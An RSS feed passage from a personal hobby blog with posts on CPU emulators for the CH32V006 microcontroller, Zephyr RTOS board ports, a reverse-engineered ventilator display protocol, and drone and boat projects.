<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts | Blue Duck Valley Rd</title><link>https://juju.nz/michaelh/post/</link><atom:link href="https://juju.nz/michaelh/post/index.xml" rel="self" type="application/rss+xml"/><description>Posts</description><generator>Source Themes Academic (https://sourcethemes.com/academic/)</generator><language>en-us</language><copyright>© 2017-2025 Michael Hope</copyright><image><url>img/map[gravatar:%!s(bool=false) shape:circle]</url><title>Posts</title><link>https://juju.nz/michaelh/post/</link></image><item><title>6502 and Apple 1 emulation</title><link>https://juju.nz/michaelh/post/2026/ch65/</link><pubDate>Sat, 16 May 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/ch65/</guid><description>&lt;p>I couldn&amp;rsquo;t resist and re-used the architecture of my recent Z80 projects to make
&lt;a href="https://juju.nz/src/michaelh/ch65" target="_blank" rel="noopener">a 6502 and Apple 1 emulator&lt;/a>. According to
the
&lt;a href="https://en.wikipedia.org/wiki/Rugg/Feldman_benchmarks" target="_blank" rel="noopener">Rugg/Feldman benchmarks&lt;/a>,
the emulator runs like a 1.8 MHz 6520 when running on the $0.15 CH32V006, such as
the one in the $1.5
&lt;a href="https://github.com/WeActStudio/WeActStudio.CH32V00xCoreBoard" target="_blank" rel="noopener">WeActStudio.CH32V00xCoreBoard&lt;/a>.&lt;/p></description></item><item><title>Finishing up my ZX81 on the CH32V006</title><link>https://juju.nz/michaelh/post/2026/ch81con-done/</link><pubDate>Sat, 09 May 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/ch81con-done/</guid><description>
&lt;video autoplay loop >
&lt;source src="ch81con.mp4" type="video/mp4">
&lt;/video>
&lt;p>I&amp;rsquo;ve finished my
&lt;a href="https://juju.nz/src/michaelh/ch81" target="_blank" rel="noopener">Z80 emulator for the CH32V006&lt;/a>. It was
interesting experimenting with different interpreter architectures as the
&lt;a href="https://www.wch-ic.com/products/CH32V006.html" target="_blank" rel="noopener">CH32V006&lt;/a> is RISC-V and the
performance was very sensitive to the compiler and architecture. In the end, a
threaded interpreter using computed gotos was 2 x faster than the other
architectures but only on GCC. All other combinations of
&lt;code>(switch, threaded, tail call) x (clang, gcc)&lt;/code> performed about the same.&lt;/p>
&lt;p>According to
&lt;a href="https://github.com/agn453/ZEXALL" target="_blank" rel="noopener">zexdoc&lt;/a> the system performs like
a 4.2 MHz Z80. The ZX81 runs at 3.25 MHz and spends most of its time drawing the
screen, giving an effective frequency of 0.8 MHz, so this emulator is ~5 x
faster than the original.&lt;/p>
&lt;p>Some highlights of the final version:&lt;/p>
&lt;ul>
&lt;li>Includes a ZX81 and
&lt;a href="https://rc2014.co.uk/" target="_blank" rel="noopener">RC2014&lt;/a> emulator&lt;/li>
&lt;li>Runs the ZX81 ROM and the zexdoc test suite&lt;/li>
&lt;li>Core dispatch is generated from the
&lt;a href="https://github.com/deeptoaster/opcode-table" target="_blank" rel="noopener">https://github.com/deeptoaster/opcode-table&lt;/a> machine-readable description&lt;/li>
&lt;li>Generates threaded and tail call interpreters&lt;/li>
&lt;li>Supports reducing the code size by re-using the dispatch code for infrequent
instructions&lt;/li>
&lt;li>IO backends for native Linux and
&lt;a href="https://zephyrproject.org/" target="_blank" rel="noopener">Zephyr&lt;/a>&lt;/li>
&lt;li>Runs over the serial port, emits the UTF-8 versions of the ZX81 character set,
and only updates the parts that changed between refreshes&lt;/li>
&lt;/ul>
&lt;p>There&amp;rsquo;s two interesting follow on projects. I&amp;rsquo;d like to change anything heavy,
such as the &lt;code>IN&lt;/code>, &lt;code>OUT&lt;/code>, or &lt;code>LDIR&lt;/code> to an emulator exits as I suspect that will
let the compiler inline the core instructions without the extra register
pressure of handling heavy instructions. I also have a custom CH32V006 board
with 8 MiB of PSRAM and 16 MiB of flash which is more than enough to run the
&lt;a href="https://rc2014.co.uk/1458/simple-guide-to-getting-cpm-running-on-rc2014/" target="_blank" rel="noopener">RC2014 version of CP/M&lt;/a>.&lt;/p></description></item><item><title>Dead ends on emulator performance</title><link>https://juju.nz/michaelh/post/2026/ch81-emu-dead-ends/</link><pubDate>Sun, 19 Apr 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/ch81-emu-dead-ends/</guid><description>&lt;p>My Z80 emulator now runs on the CH32V006 and achieves better than real time, so
I&amp;rsquo;ve been looking at ways of improving the performance. So far most have been
dead ends.&lt;/p>
&lt;p>I&amp;rsquo;m using the &lt;code>zexdoc&lt;/code> test suite as the benchmark. The core is a threaded
interpreter using computed gotos and is generated from a machine readable
version of the instruction set, making it simpler to try different methods.&lt;/p>
&lt;p>I&amp;rsquo;ve tried:&lt;/p>
&lt;ul>
&lt;li>Clang vs GCC: GCC is ~2x faster&lt;/li>
&lt;li>Switching to a tail call interpreter: ~2x slower&lt;/li>
&lt;li>Lazily updating the flags: at most 40 % of flag updates are unused, which is
not enough to recover the overhead&lt;/li>
&lt;li>Moving &lt;code>A&lt;/code> to a variable: ~5 % faster&lt;/li>
&lt;li>Moving &lt;code>PC&lt;/code> to a variable: ~10 % slower&lt;/li>
&lt;li>Updating the &lt;code>PC&lt;/code> to host address calculation on line change: ~10 % slower&lt;/li>
&lt;/ul>
&lt;p>Interestingly, compiler hints like &lt;code>[[likely]]&lt;/code> can reduce performance, as the
code is very sensitive to getting exactly the right control flow.&lt;/p>
&lt;p>Next is to try splitting the carry flag &lt;code>C&lt;/code> into a separate field. The tail call
interpreter is worth revisiting, as the RISC-V compiler still generated a
prologue and epilogue which seems fixable.&lt;/p>
&lt;p>I used Claude Code for some of these experiments and it&amp;rsquo;s been decent. Most of
the cases are some type of large refactoring and it&amp;rsquo;s about as fast as me. The
code is good about ⅓rd of the time, and for most of the other times it&amp;rsquo;s been
enough to try the idea and discard when it turns out to be a dead end.&lt;/p></description></item><item><title>Z80 emulation</title><link>https://juju.nz/michaelh/post/2026/ch81-emu/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/ch81-emu/</guid><description>&lt;p>I&amp;rsquo;m experimenting with writing yet another Z80 CPU emulator. So far it can take
the instruction set definition from
&lt;a href="https://github.com/deeptoaster/opcode-table/blob/master/opcode-table.json" target="_blank" rel="noopener">deeptoaster/opcode-table&lt;/a>,
convert it to a computed goto form, and boot the ZX81 ROM. The main bugs were in
getting the &lt;code>djnz&lt;/code> sense wrong, and converting &lt;code>jp (ix)&lt;/code> to a
&lt;code>jump to the address at ix indirect&lt;/code>, not &lt;code>jump to the address in ix&lt;/code>.&lt;/p>
&lt;p>An earlier version took the ZX81 assembly from &lt;code>open81&lt;/code> and converted it to C++.
It was very fast, but the Z80 instruction set is effectively bytecode to a 64
bit machine, and expanding an 8-bit-ish bytecode to multiple 64 bit instructions
blew the 8 KiB ROM up to over 200 KiB. It was nice how the compiler could
eliminate unused flag updates.&lt;/p>
&lt;p>Next step is to benchmark different interpreter approaches. For that I need a
test suite and benchmark, and I plan to use
&lt;a href="https://github.com/raxoft/z80test" target="_blank" rel="noopener">https://github.com/raxoft/z80test&lt;/a>
for both.&lt;/p>
&lt;p>I want to try moving the most common registers - so A, F, and PC - to variables
so the compiler can optimise them. This probably means moving from a computed
goto form to tail call. I also want to try decomposing the flags and switching
to lazy generation, as ~50 % of the interpreter is for updating the flags but I
suspect the flags are only used ~10 % of the time.&lt;/p></description></item><item><title>A simple ZX81 emulator on the CH32V006</title><link>https://juju.nz/michaelh/post/2026/ch81con/</link><pubDate>Sat, 14 Mar 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/ch81con/</guid><description>&lt;p>It&amp;rsquo;s a toy, but I can now emulate a 1980&amp;rsquo;s
&lt;a href="https://en.wikipedia.org/wiki/ZX81" target="_blank" rel="noopener">ZX81&lt;/a> on the CH32V006. The performance is
equivalent to about a 3 MHz Z80 which, due to how the ZX81 spends most of the
time drawing the display rather than running the code, means the overall system
is faster than the original.&lt;/p>
&lt;p>This version runs over the serial port, translates the ZX81 character set to the
&lt;a href="https://en.wikipedia.org/wiki/ZX81_character_set" target="_blank" rel="noopener">equivalent Unicode&lt;/a>, and
translates the VT keycodes into the equivalent ZX81 keys.&lt;/p>
&lt;p>The emulation gets 4 KiB of the CH32V006&amp;rsquo;s 8 KiB of RAM which is a good step up
from the original&amp;rsquo;s 1 KiB. This could be extended 6 KiB+ by reworking how
address decode is done.&lt;/p>
&lt;p>Thanks to Zephyr for the RTOS,
&lt;a href="https://github.com/SegHaxx/sz81" target="_blank" rel="noopener">sz81&lt;/a> for the
ROM, and
&lt;a href="https://github.com/anotherlin/z80emu" target="_blank" rel="noopener">z80emu&lt;/a> for the Z80 core.&lt;/p>
&lt;p>Next up is to implement the remainder of the keyboard and to decide how to load
some games onto it. Medium term I want to experiment with different emulator
architectures, generating composite video, and adding PSRAM to run CP/M.&lt;/p></description></item><item><title>Heewing F01 balance</title><link>https://juju.nz/michaelh/post/2026/f01-balance/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/f01-balance/</guid><description>&lt;p>I&amp;rsquo;m building a
&lt;a href="https://www.heewing.com/products/hee-wing-f01-kit-690mm-delta-wing" target="_blank" rel="noopener">Heewing F01&lt;/a>
using a
&lt;a href="https://holybro.com/products/kakute-f405-wing-mini" target="_blank" rel="noopener">Holybro Kakute F405-Wing Mini&lt;/a>
and some spare parts. It&amp;rsquo;s an interesting build as the baseline has moved on
since I first brought my RC equipment and, for example, the autopilot does not
support PPM but only serial based protocols such as SBUS. My transmitter is old
enough that getting a
&lt;a href="https://futabausa.com/product-support/protocols/" target="_blank" rel="noopener">FASST&lt;/a>
receiver with SBUS is hard. Luckily one (and only one) of my stash of recievers
supports that.&lt;/p>
&lt;p>For batteries, I have both 3S 2200 mAh 110 mm and 2S 1300 mAh 75 mm long
batteries. Neither is great - the 3S is likely too heavy, and the CoG is too far
back with the 2S.&lt;/p>
&lt;p>For reference, the math is:&lt;/p>
&lt;ul>
&lt;li>Distance from design CoG to back to front of battery area: ~130 mm&lt;/li>
&lt;li>3S battery: 110 mm long at 184 g&lt;/li>
&lt;li>2S battery: 75 mm long at 77 g, need two to balance&lt;/li>
&lt;/ul>
&lt;p>The 3S has a moment of (130 - 110/2)*184 = ~14.2e3, while the pair of 2S gives
(130 - 75/2)*75*2 = ~13.8e3. So it&amp;rsquo;s nice to see the math match reality.&lt;/p>
&lt;p>Heewing recommend 2-4S 1500-3500 mAh (!) and recommend a 3500 mAh 85x40x40 246
g. AUW is 350 g to 850 g, and my current build is 311 g.&lt;/p>
&lt;p>So a
&lt;a href="https://shop.wiesermodell.ch/pi/Akkus/LiPo-Akkus/3S-111V/swaytronic-lipo-3s-111v-1600mah-35c-70c-xt601.html" target="_blank" rel="noopener">SWAYTRONIC 3S 1600 mAh 87x43x22&lt;/a>
or 2400 mAh should be fine.&lt;/p>
&lt;!-- 5x5E/6x4E. --></description></item><item><title>Pixhawk GPS pinout</title><link>https://juju.nz/michaelh/post/2026/gpspin/</link><pubDate>Sun, 11 Jan 2026 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2026/gpspin/</guid><description>&lt;p>Writing this down for future me. I&amp;rsquo;m assembling a drone using some old parts
and could not find the pinout to this GPS / compass combo:&lt;/p>
&lt;p>&lt;img src="front.webp" alt="Top view showing the antenna">&lt;/p>
&lt;p>For reference, with the antenna pointing up and looking at the connector, then
the pins from left to right are:&lt;/p>
&lt;ol>
&lt;li>GND&lt;/li>
&lt;li>TX&lt;/li>
&lt;li>RX&lt;/li>
&lt;li>VCC&lt;/li>
&lt;li>SDA&lt;/li>
&lt;li>SCL&lt;/li>
&lt;/ol>
&lt;p>The connector seems to be a JST-SH 1.0 mm socket. VCC goes to a regulator.
Surprisingly, if you connect 5 V to SCL then the GPS still runs correctly which
confused me for a while.&lt;/p>
&lt;p>The markings on the board are &lt;code>NEO-M8N-0-01&lt;/code> and &lt;code>HG-C04_V1.1&lt;/code>. The antenna is a
Cirocomm. I suspect it came with a Pixhawk or Pixracer kit.&lt;/p></description></item><item><title>Stiebel Eltron LWZ 130 and Home Assistant: blinking</title><link>https://juju.nz/michaelh/post/2025/lwzbus-blink/</link><pubDate>Sun, 02 Nov 2025 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2025/lwzbus-blink/</guid><description>
&lt;video autoplay loop >
&lt;source src="blink.mp4" type="video/mp4">
&lt;/video>
&lt;p>So far so good. Home Assistant can send commands to the ESP32, which sends
Modbus coil writes to the CH32V006, which turns the LEDs on and off. Next is
the I2C side. I&amp;rsquo;ve found a couple of bugs in Zephyr along the way and will send
patches.&lt;/p></description></item><item><title>Stiebel Eltron LWZ 130 and Home Assistant</title><link>https://juju.nz/michaelh/post/2025/lwzbus/</link><pubDate>Sat, 01 Nov 2025 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2025/lwzbus/</guid><description>&lt;p>I have a LWZ 130 ventilator that I&amp;rsquo;d like to hook up to Home Assistant to
control the fan speed and to get other metrics like the inlet and inside
temperature. The ventilator communicates with the display over I2C and, based on
&lt;a href="https://juju.nz/michaelh/post/2025/lwz130/" target="_blank" rel="noopener">my previous investigation&lt;/a> and the
good work at
&lt;a href="https://github.com/kdarnok/lwz180" target="_blank" rel="noopener">https://github.com/kdarnok/lwz180&lt;/a>, it looks straight forward. It&amp;rsquo;s
I2C, but any device can broadcast at any time.&lt;/p>
&lt;p>The bus runs at 5V, so my plan is to use a 5V-tolerant CH32V006, run Zephyr,
implement a LWZ to MODBUS interface, and then use a ESP32 ESPHome device to
bridge between MODBUS and Home Assistant. Adding a 5V tolerant interface
directly to the ESP32 would be simpler but less fun.&lt;/p>
&lt;p>I&amp;rsquo;ll also investigate using the CH32V006 internal bootloader to support remote
updates.&lt;/p></description></item><item><title>Linux on a CH32V006 based emulator: Assembled</title><link>https://juju.nz/michaelh/post/2025/ch32ima-assembled/</link><pubDate>Sun, 19 Oct 2025 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2025/ch32ima-assembled/</guid><description>&lt;p>I&amp;rsquo;ve assembled the first three boards. I ordered the PCBs from AISLER,
components from LCSC, and a new soldering iron and reflow plate from Aliexpress.
The reflow plate has been great - not for the soldering aspect as I don&amp;rsquo;t have
any solder paste yet, but for rework. I initially put the flash and PSRAM on the
wrong way around and the plate made it easy to heat up the board and remove the
components.&lt;/p>
&lt;p>The board had a few minor issues: the regulator &lt;code>EN&lt;/code> pin needs to be tied high,
the push button footprint is slightly too large, and the UART TX and RX are
swapped.&lt;/p>
&lt;p>The emulator works and boots through to Linux. It needs work though:&lt;/p>
&lt;ul>
&lt;li>The timer interrupt is frequent enough and the emulator is slow enough that it
spends all of the time in interrupts. I&amp;rsquo;ll look at capping the interrupt rate&lt;/li>
&lt;li>The emulated UART is polled by Linux and has a one character buffer, so you
need to press a key; wait for it to process; then do the next. I&amp;rsquo;ll look at
adding a PFIC and buffering.&lt;/li>
&lt;li>Flash is much slower than the PSRAM&lt;/li>
&lt;/ul>
&lt;p>Apart from that the performance isn&amp;rsquo;t terrible. I think I can make it twice as
fast though&amp;hellip;&lt;/p></description></item><item><title>Linux on a CH32V006 based emulator: PCB</title><link>https://juju.nz/michaelh/post/2025/ch32ima-pcb/</link><pubDate>Sun, 05 Oct 2025 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2025/ch32ima-pcb/</guid><description>&lt;p>The schematic and PCB are done. I&amp;rsquo;ve gone for a compact SMD design with the
CH32V006FxPx, 8 MiB of PSRAM, and 16 MiB of NOR flash. The CH32V006 does not
support QSPI mode, but I&amp;rsquo;ve wired the memory to port C so I can efficiently
implement it in software. I&amp;rsquo;m not sure the software version will beat the
hardware single bit mode - the best assembly version so far is 23 instructions
which, assuming perfect pipelining and no branch cost, gives 33.4 Mb/s which is
mildly better than the hardware&amp;rsquo;s 24 MHz.&lt;/p>
&lt;p>I&amp;rsquo;ve opportunistically brought out some pins on a edge connector. This should
let me connect many of these together via a baseboard. &lt;code>UART2&lt;/code> will be used as
shared bus.&lt;/p>
&lt;p>See also
&lt;a href="https://aisler.net/p/WKDGSHOC" target="_blank" rel="noopener">https://aisler.net/p/WKDGSHOC&lt;/a>&lt;/p></description></item><item><title>Linux on a CH32V006 based emulator: starting out</title><link>https://juju.nz/michaelh/post/2025/ch32ima/</link><pubDate>Sun, 28 Sep 2025 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2025/ch32ima/</guid><description>&lt;p>It&amp;rsquo;s been done before both on the
&lt;a href="https://github.com/tvlad1234/pico-rv32ima" target="_blank" rel="noopener">RP2040&lt;/a> and
&lt;a href="https://github.com/tvlad1234/linux-ch32v003" target="_blank" rel="noopener">CH32V003&lt;/a>, but I&amp;rsquo;d like to develop
a CH32V006 based emulator that can run RISC-V Linux. The goals are:&lt;/p>
&lt;ul>
&lt;li>Run RV32 Linux with a console, RAM, and SPI storage&lt;/li>
&lt;li>Make it as fast as possible. In addition to optimising the emulator, look at
adding a cache and QSPI modes&lt;/li>
&lt;li>Make it portable via building on Zephyr&lt;/li>
&lt;li>Include a display generator&lt;/li>
&lt;li>Hardware should be re-usable for a future ZX81 emulator&lt;/li>
&lt;/ul>
&lt;p>The scope includes the emulator and hardware. Looks like the &lt;code>phram&lt;/code> driver can
be used to expose a memory-mapped SPI flash as MTD, and the &lt;code>gpio-syscon&lt;/code> driver
can be used to blink some LEDs. Let&amp;rsquo;s see how it goes!&lt;/p></description></item><item><title>LWZ 130 display protocol</title><link>https://juju.nz/michaelh/post/2025/lwz130/</link><pubDate>Sun, 23 Mar 2025 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2025/lwz130/</guid><description>&lt;p>The
&lt;a href="https://www.stiebel-eltron.com/en/home/products-solutions/renewables/ventilation/central/lwz-130/lwz-130.html" target="_blank" rel="noopener">Stiebel Eltron LWZ 130&lt;/a> mechanical ventilator comes with a remote display that shows
the current fan setting, temperature, and other settings, and also lets the user change the current
fan setting or temporarily boost the fan.&lt;/p>
&lt;p>I plan to connect this to Home Assistant, and this page covers the protocol and decodes some of the
fields.&lt;/p>
&lt;p>The display is connected by a four wire 5 V I2C bus where the in-wall unit acts as the master and
sends write commands to the display. The bus frequency is 15 kHz. The pins are SCL, GND, VCC (+5 V),
and SDA.&lt;/p>
&lt;p>All writes are to address 0. Some example transactions are:&lt;/p>
&lt;ul>
&lt;li>Level 0: &lt;code>F7 20 0B 20 6D 00 00 00 3F 00 5B 5B 7D 15 55 04 00 00 00 10 00 00 05 01 00 00 00 C7&lt;/code>&lt;/li>
&lt;li>Level 1: &lt;code>F7 20 0B 20 6D 00 00 00 06 00 5B 5B 7F 15 55 00 00 00 00 10 00 00 05 01 00 00 00 89&lt;/code>&lt;/li>
&lt;li>Level 2: &lt;code>F7 20 0B 20 6D 00 00 00 5B 00 5B 5B 7D 15 55 00 00 00 00 10 00 00 05 01 00 00 00 83&lt;/code>&lt;/li>
&lt;li>Level 3: &lt;code>F7 20 0B 20 6D 00 00 00 4F 00 5B 5B 7D 15 55 00 00 00 00 10 00 00 05 01 00 00 01 4E&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>In all cases the display was showing the current temperature and had the &amp;lsquo;check filter&amp;rsquo; symbol lit.
Level 0 also lights a &amp;lsquo;power&amp;rsquo; segment on the display, and level 3 also lights a &amp;lsquo;boost&amp;rsquo; LED. Running
&lt;a href="https://reveng.sourceforge.io/" target="_blank" rel="noopener">reveng&lt;/a> shows that the last byte is a frame check with
&lt;code>width=8 poly=0x49 init=0x00 refin=false refout=false xorout=0x00 check=0x6b residue=0x00 name=(none)&lt;/code>,
which has the same polynomial as &lt;code>CRC-8/GSM-B&lt;/code>.&lt;/p>
&lt;p>The 8th byte is the current fan speed encoded as a 7 segment display. &lt;code>3F&lt;/code> is the 6 segments of &lt;code>0&lt;/code>,
&lt;code>06&lt;/code> is the 2 segments of &lt;code>1&lt;/code>, &lt;code>5B&lt;/code> is the 5 segments of &lt;code>2&lt;/code>, and &lt;code>4F&lt;/code> is the 5 segments of &lt;code>3&lt;/code>.
This matches the table at
&lt;a href="https://hosteng.com/dmdhelp/content/instruction_set/SEG_Hex_BCD_to_7_Segment_Display.htm" target="_blank" rel="noopener">https://hosteng.com/dmdhelp/content/instruction_set/SEG_Hex_BCD_to_7_Segment_Display.htm&lt;/a>.&lt;/p>
&lt;p>Given this, the &lt;code>5B 5B 7D&lt;/code> is the current temperature of &lt;code>22.6&lt;/code> Celsius.&lt;/p>
&lt;p>So the update display command is:&lt;/p>
&lt;ul>
&lt;li>&lt;code>F7&lt;/code> - update display command&lt;/li>
&lt;li>&lt;code>32&lt;/code> - constant across command types&lt;/li>
&lt;li>&lt;code>0B 20 6D 00 00 00&lt;/code> - unknown&lt;/li>
&lt;li>&lt;code>3F&lt;/code> - fan speed as a 7 segment display&lt;/li>
&lt;li>&lt;code>00&lt;/code> - unknown&lt;/li>
&lt;li>&lt;code>5B 5B 7D&lt;/code> - temperature as three 7 segment display digits&lt;/li>
&lt;li>&lt;code>15 55&lt;/code> - unknown&lt;/li>
&lt;li>&lt;code>04&lt;/code> - &lt;code>04&lt;/code> if the &amp;lsquo;power off&amp;rsquo; segment is set&lt;/li>
&lt;li>&lt;code>00 00 00 10 00 00 05 01 00 00&lt;/code> - unknown&lt;/li>
&lt;li>&lt;code>01&lt;/code> - &lt;code>01&lt;/code> if the &amp;lsquo;boost&amp;rsquo; LED is on&lt;/li>
&lt;li>&lt;code>C7&lt;/code> - CRC-8&lt;/li>
&lt;/ul>
&lt;h2 id="keys">Keys&lt;/h2>
&lt;ul>
&lt;li>Wheel clockwise: &lt;code>E3 30 20 00 00 02 92&lt;/code>&lt;/li>
&lt;li>Wheel anti-clockwise: &lt;code>E3 30 20 00 00 01 49&lt;/code>&lt;/li>
&lt;li>Boost: &lt;code>E3 20 10 3B 00 00 CF&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;code>reveng&lt;/code> confirms that the last byte is the same frame check as above.&lt;/p>
&lt;p>It&amp;rsquo;s unclear which unit which writes which byte. It&amp;rsquo;s likely that the in-wall sends the &lt;code>E3&lt;/code> as a
&amp;ldquo;poll keys&amp;rdquo;.&lt;/p></description></item><item><title>Adding all the CH32V003s to Zephyr... so far</title><link>https://juju.nz/michaelh/post/2024/all_so_far/</link><pubDate>Sat, 12 Oct 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/all_so_far/</guid><description>&lt;p>In follow up to my last post, here&amp;rsquo;s a video of 5 CH32V003 based boards running Zephyr and at least
blinking a LED.&lt;/p>
&lt;video autoplay loop >
&lt;source src="blinking.mp4" type="video/mp4">
&lt;/video>
&lt;p>From the left these are:&lt;/p>
&lt;ul>
&lt;li>Muselab
&lt;a href="https://github.com/wuxx/nanoCH32V003" target="_blank" rel="noopener">nanoCH32V003&lt;/a>&lt;/li>
&lt;li>Maker Go
&lt;a href="https://www.tindie.com/products/adz1122/ch32v003-risc-v-mcu-development-board/" target="_blank" rel="noopener">QSZNEC&lt;/a>&lt;/li>
&lt;li>Unnamed
&lt;a href="https://www.aliexpress.com/item/1005005956343360.html" target="_blank" rel="noopener">CR-CH32VXXX&lt;/a>&lt;/li>
&lt;li>My own spin on CH32V003-GameConsole with a colour display&lt;/li>
&lt;li>wagiminator&amp;rsquo;s
&lt;a href="https://github.com/wagiminator/CH32V003-GameConsole" target="_blank" rel="noopener">CH32V003-GameConsole&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Looking forward to
&lt;a href="https://github.com/kholia" target="_blank" rel="noopener">kholia@&lt;/a>&amp;rsquo;s
&lt;a href="https://github.com/zephyrproject-rtos/zephyr/pull/73761" target="_blank" rel="noopener">PR&lt;/a> landing. He&amp;rsquo;s been working on it since
June&amp;hellip;&lt;/p></description></item><item><title>Adding all the CH32V003s to Zephyr</title><link>https://juju.nz/michaelh/post/2024/all_the_ch32v/</link><pubDate>Sun, 29 Sep 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/all_the_ch32v/</guid><description>&lt;p>
&lt;a href="https://github.com/kholia" target="_blank" rel="noopener">kholia@&lt;/a> and I have been working on adding
&lt;a href="https://github.com/zephyrproject-rtos/zephyr/pull/73761" target="_blank" rel="noopener">support for the low-cost CH32V003
to Zephyr&lt;/a>, which got me wondering: how
many readily available CH32V003 boards are there, and what would it be like support all of
them to Zephyr?&lt;/p>
&lt;p>So far I&amp;rsquo;ve ordered or built:&lt;/p>
&lt;ul>
&lt;li>Maker Go
&lt;a href="https://www.tindie.com/products/adz1122/ch32v003-risc-v-mcu-development-board/" target="_blank" rel="noopener">QSZNEC&lt;/a>&lt;/li>
&lt;li>wagiminator&amp;rsquo;s
&lt;a href="https://github.com/wagiminator/CH32V003-GameConsole" target="_blank" rel="noopener">CH32V003-GameConsole&lt;/a>&lt;/li>
&lt;li>Muselab
&lt;a href="https://github.com/wuxx/nanoCH32V003" target="_blank" rel="noopener">nanoCH32V003&lt;/a>&lt;/li>
&lt;li>Unnamed
&lt;a href="https://www.aliexpress.com/item/1005005956343360.html" target="_blank" rel="noopener">CR-CH32VXXX&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I skipped:&lt;/p>
&lt;ul>
&lt;li>Olimex
&lt;a href="https://www.olimex.com/Products/Retro-Computers/RVPC/open-source-hardware" target="_blank" rel="noopener">RVPC&lt;/a>, as the I/O is too unique and the shipping is too high&lt;/li>
&lt;li>Olimex
&lt;a href="https://www.olimex.com/Products/Modules/IO/MOD-IO2/open-source-hardware" target="_blank" rel="noopener">MOD-IO2&lt;/a>, which has two relays&lt;/li>
&lt;li>Electronicfans
&lt;a href="https://www.aliexpress.com/item/1005006781371488.html" target="_blank" rel="noopener">unnamed&lt;/a>, as I couldn&amp;rsquo;t find the schematic.&lt;/li>
&lt;/ul>
&lt;p>Special mention to
&lt;a href="https://www.aliexpress.com/item/1005006852659129" target="_blank" rel="noopener">this board&lt;/a> which is a CH32V003, but according to the page and pictures, also ARM, and also with 64 k of flash and 8 k of RAM.&lt;/p></description></item><item><title>Performance of a Minn Kota electric motor on an inflatable hull</title><link>https://juju.nz/michaelh/post/2024/minnkota/</link><pubDate>Sat, 10 Aug 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/minnkota/</guid><description>&lt;p>As a summer project, I&amp;rsquo;m experimenting with adding an electric trolling motor on a 2.9 m inflatable.
My medium term goal is to hook up a leftover Ardupilot and have the boat slowly take me around the
lake in the most plesent way possible.&lt;/p>
&lt;p>Everything is done on a budget so it&amp;rsquo;s a 34 lb thrust motor with a 20 Ah LiFePO4 battery. I did a
run today in still conditions and used the power distribution board and GPS to measure the
performance.&lt;/p>
&lt;p>&lt;img src="perf.png" alt="Speed vs current">&lt;/p>
&lt;p>The motor has a tiller with 5 speed settings and you can see speeds 2 to 5 on the chart. I omitted
speed 1 as the velocity had too much variance.&lt;/p>
&lt;p>Speed 4 at 14 A looks like the sweet spot and gives ~1.5 hours of endurance and ~5.5 km of range.&lt;/p>
&lt;p>Next up is to add a PWM speed controller and servo.&lt;/p></description></item><item><title>Faster SPI bitbang for Zephyr on the ch32v003</title><link>https://juju.nz/michaelh/post/2024/spi_bitbang/</link><pubDate>Sun, 28 Jul 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/spi_bitbang/</guid><description>&lt;p>As part of
&lt;a href="https://github.com/zephyrproject-rtos/zephyr/pull/73761" target="_blank" rel="noopener">porting Zephyr to the CH32V003&lt;/a>, I&amp;rsquo;ve been
working on my own spin of
&lt;a href="https://github.com/wagiminator" target="_blank" rel="noopener">wagiminator@&lt;/a>&amp;rsquo;s
&lt;a href="https://www.wch-ic.com/products/CH32V003.html" target="_blank" rel="noopener">CH32V003&lt;/a> based
&lt;a href="https://github.com/wagiminator/CH32V003-GameConsole" target="_blank" rel="noopener">mini game console&lt;/a>.&lt;/p>
&lt;p>Once change was swapping the monochrome OLED dispaly for a 160x80 colour LCD with a ST7735R
controller. Unfortunately, the SOIC-20 version of the CH32V003 doesn&amp;rsquo;t expose the hardware SPI
interface, so I need to emulate it in software.&lt;/p>
&lt;p>Zephyr includes a generic &lt;code>spi_bitbang&lt;/code> driver but it&amp;rsquo;s quite slow, topping out at 160 kHz on this
processor. I tried optimising it but the changes were too invasive.&lt;/p>
&lt;p>The display is write-only, so I implemented a new driver and got it up to 1.5 MHz. The driver uses a
few ideas such as precomputing the MOSI and CLK bits based on CPOL and CHPA, packing up to 4 byes
into a single word, and using the hardware multi-bit set/reset support. The latter is fairly common
across SoCs, so the driver should still be fairly portable.&lt;/p>
&lt;p>Here&amp;rsquo;s the update rate before:&lt;/p>
&lt;video autoplay loop >
&lt;source src="before.mp4" type="video/mp4">
&lt;/video>
&lt;p>and after:&lt;/p>
&lt;video autoplay loop >
&lt;source src="after.mp4" type="video/mp4">
&lt;/video>
&lt;p>And, for bonus points, here&amp;rsquo;s a kite bouncing around the screen:&lt;/p>
&lt;video autoplay loop >
&lt;source src="logogame.mp4" type="video/mp4">
&lt;/video></description></item><item><title>My own spin of the CH32V003 Mini Game Console</title><link>https://juju.nz/michaelh/post/2024/minich-blink/</link><pubDate>Sat, 06 Jul 2024 00:00:00 +0000</pubDate><guid>https://juju.nz/michaelh/post/2024/minich-blink/</guid><description>&lt;p>
&lt;a href="https://github.com/kholia" target="_blank" rel="noopener">kholia@&lt;/a> and I are working on
&lt;a href="https://github.com/zephyrproject-rtos/zephyr/pull/73761" target="_blank" rel="noopener">porting Zephyr to the CH32V003&lt;/a>. While
